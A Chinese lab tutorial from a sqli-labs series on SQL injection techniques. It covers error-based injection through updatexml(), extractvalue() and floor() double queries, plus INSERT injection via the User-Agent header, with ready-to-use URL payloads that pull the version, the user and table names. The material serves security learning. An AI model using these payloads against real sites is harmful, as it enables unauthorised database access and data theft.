深入浅出带你玩转sqlilabs(四)-updatexml(),floor(),extractvalue()报错注入
SQL各种参数类型下的注入测试
数字型-sqlilabs less2
前面文章已演示过
字符型-sqlilabs less1
前面文章已演示过
搜索型-自写测试
如:
www.test.com/index.php?id=1
www.test.com/index.php?id=abc
(搜索型,一般产生在网站的搜索框)http://www.test.com/search.php?q=1
区分参数类型的原因:
当参数类型为数字时,sql语句拼接可以不用引号或其他符号进行概括,而参数类型为字符串时,sql语句拼接必须使用引号或其他符号进行概括,从而由此分析,在进行sql注入时,如果出现符号,那么注入也要考虑符号的干扰!
本地计算机在进行文件搜索时,会经常使用通配符:"*" 星号
在数据库中搜索遍历的通配符:"%" 百分号
select * from emails where email_id like '%com%'
从上图可以看出,数据库通配符%和计算机搜索通配符*使用方法差不多
数字型和字符型的SQL语句:
选择库,表
数字型选择列,无单引号
字符型选择列,有单引号
SQL各种报错方式下的注入测试
此类报错注入旨在解决无回显下的注入测试
参考文章:
https://www.wandouip.com/t5i158282/
http://blog.sina.com.cn/s/blog_1450cc4c60102vraq.html
mysql sql语句中空格可以使用"+",“/**/”等取代
url中绕过空格使用"%20","+",“/**/”等取代
注:MySQL 5.1.5版本后才包含ExtractValue()和UpdateXML()这2个函数
updatexml报错-sqlilabs less5
updatexml()函数是MYSQL对XML文档数据进行查询和修改的XPATH函数
updatexml()函数与extractvalue()类似,是更新xml文档的函数。
语法:updatexml(目标xml文档,xml路径,更新的内容)
如:
select username from security.user where id=1 and (updatexml(‘anything’,’/xx/xx’,’anything’))
报错方式相同:
如:
select username from security.user where id=1 and (updatexml(‘anything’,concat(‘~’,(select database())),’anything’))
可构造如下payload:
?id=1' and 1=(updatexml(1,concat(0x3a,(select version())),1))--+ ?id=1' and 1=(updatexml(1,concat(0x3a,(select table_name from information_schema.tables limit 0,1)),1))--+
updatexml的爆错原因很简单,updatexml第二个参数需要的是Xpath格式的字符串。我们输入的显然不符合。故报错由此报错
updatexml的最大长度是32位的,所以有所局限(PS:但是应对大多的已经足够。)
如果密码长度超过了32位就不会被显示出来。
payload分析:
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。 第三个参数:new_value,String格式,替换查找到的符合条件的数据
extractvalue报错-sqlilabs less5
extractvalue()函数也是MYSQL对XML文档数据进行查询和修改的XPATH函数
可构造payload:
?id=1' and extractvalue(1,concat(0x7e,user()))--+ ?id=1' and extractvalue(1,concat(0x5c,(select table_name from information_schema.tables limit 1)))--+
payload分析:
ExtractValue(xml_frag, xpath_expr)
ExtractValue()接受两个字符串参数,一个XML标记片段 xml_frag和一个XPath表达式 xpath_expr(也称为 定位器); 它返回CDATA
第一个文本节点的text(),该节点是XPath表达式匹配的元素的子元素。
第一个参数可以传入目标xml文档,第二个参数是用Xpath路径法表示的查找路径
例如:SELECT ExtractValue('<a><b><b/></a>', '/a/b');
就是寻找前一段xml文档内容中的a节点下的b节点,这里如果Xpath格式语法书写错误的话,就会报错。这里就是利用这个特性来获得我们想要知道的内容。
floor报错-sqlilabs less5
构造payload:
?id=1'+and+(select+1+from+(select+count(*),concat(version(),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)--+ ?id=-1' and(select 1 from (select count(*),concat((select table_name from information_schema.tables limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
文章分析payload ,详细讲解双查询注入:
https://blog.csdn.net/lixiangminghate/article/details/80466257
当在一个聚合函数,比如count函数后面如果使用分组语句(group by)就会把查询的一部分以错误的形式显示出来
可以在database()替换要查询的函数
SQL各种查询方式下的注入测试
select 查询数据
在网站应用中进行数据显示查询操作,前面演示的很多都是
insert 插入数据-sqlilabs less18
在网站应用中进行用户注册添加等操作
在登录界面输入的用户名需要进数据库查询,有这用户才可以进行下一步执行
用admin账号密码登录一下
同时用seay审计工具的mysql监控插件,监控SQL命令的执行
可以看到有个insert的SQL语句,把它复制到MySQL命令行执行
从SQL命令中插入的参数中,有useragent,ip,username插入了数据库
username参数想要插入到数据库,就先要通过数据库里面正确的账号密码插入,数据库没有的就不能通过,所以在这两个框中不能进行语句注入
但是看到这里有ip和useragent插入数据库,我们可以在这上面注入,加个单引号报错了:
猜想在数据中的sql语句为:INSEERT INTO table VALUES('User-Agent','Ip','Username')
接下来我们尝试在User-Agent的位置进行注入测试,我们修改User-Agnet的值使其符合整个INSERT INTIO 的语法,闭合后就应该为
INSEERT INTO table VALUES('1' ,1,1)#','Ip','Username'),成功绕过
运用payload:
delete 删除数据
后台管理里面删除文章删除用户等操作
update 更新数据
数据同步缓存等操作
通过以上查询方式与网站应用的关系,可以由注入点产生地方或应用猜测到对方的SQL查询方式
最新文章
- CSS垂直居中总结
- 转:Delphi 函数大全
- 【Python】[面向对象编程] 访问限制,继承和多态
- [Java Basics3] XML, Unit testing
- C语言嵌入式系统编程修炼之一:背景篇
- vs10创建sqlclr部署失败
- Java包装类及其拆箱装箱
- 仿迅雷播放器教程 -- C++ 100款开源界面库 (10)
- 【IBM-WALA】Step by Step : use WALA to generate System Dependency Graph PDF and Dot File (Mac)
- java中JDK环境变量的配置
- Vakuum开发笔记02 核心与安全问题
- 表访问方式---->;全表扫描(Full Table Scans, FTS)
- Eclipse------导入项目后出现Java compiler level does not match the version of the installed Java project facet
- Delphi Berlin 窗体代码分离风格 回到Delphi7传统风格
- Excel VBA宏 链接服务器 上传和下载数据
- MinGW安装设置
- python 读帧和绘图的区别
- 浏览器地址栏中加入ico图标的二种方法
- 20145315 《Java程序设计》第六周学习总结
- 二分图 and code1170 双栈排序
热门文章
- 通达OA任意文件上传+文件包含GetShell/包含日志文件Getshell
- HDU_3071 Gcd &; Lcm game 【素数分解 + 线段树 + 状压】
- Mybatis最权威的知识点
- android 调用js,js调用android
- Linux系统(Centos7)最新版本Docker简易(yum)安装步骤
- Paperfolding HDU - 6822
- POJ3278_Catch That Cow(JAVA语言)
- ch2_8_2求解幸运数问题
- 依赖反转原则DIP 与使用了Repository模式的asp.net core项目结构
- 学习笔记-json数据格式化